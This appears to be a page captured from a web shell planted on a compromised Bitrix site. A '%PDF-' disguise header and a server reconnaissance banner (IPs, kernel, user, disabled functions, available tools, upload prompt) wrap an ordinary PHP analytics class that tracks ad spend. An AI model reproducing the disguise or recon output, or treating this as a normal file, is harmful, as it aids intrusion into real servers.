%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.14.130.230 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/analytics/internals/ |
Upload File : |
<?php namespace Bitrix\Seo\Analytics\Internals; class Expenses { protected $data; /** * Expenses constructor. * @param array $data */ public function __construct(array $data = []) { $this->prepareData($data); } /** * @param array $data * @return $this */ public function add(array $data) { foreach($this->getNumericFieldNames() as $name) { if(isset($data[$name])) { $value = $data[$name]; if (is_array($value)) { $value = array_sum(array_map( function ($value) { return is_numeric($value) ? $value : 0; }, array_column($value, 'value') )); } if (is_numeric($value)) { $this->data[$name] += $value; } } } if(isset($data['currency']) && empty($this->data['currency'])) { $this->data['currency'] = $data['currency']; } return $this; } /** * @return array */ public function toArray() { return $this->data; } /** * @return int */ public function getImpressions() { return $this->data['impressions']; } /** * @return int */ public function getClicks() { return $this->data['clicks']; } /** * @return int */ public function getActions() { return $this->data['actions']; } /** * @return float */ public function getCpc() { return $this->data['cpc']; } /** * This is cost per 1000 impressions. * * @return float */ public function getCpm() { return $this->data['cpm']; } /** * @return float */ public function getSpend() { return $this->data['spend']; } /** * @return string */ public function getCurrency() { return $this->data['currency']; } /** * @param array $data */ protected function prepareData(array $data) { $this->data = [ 'impressions' => 0, 'clicks' => 0, 'actions' => 0, 'cpc' => 0, 'cpm' => 0, 'spend' => 0, 'currency' => '', ]; $this->data = array_merge($this->data, $data); } /** * @return array */ protected function getNumericFieldNames() { return ['impressions', 'clicks', 'actions', 'cpc', 'cpm', 'spend']; } }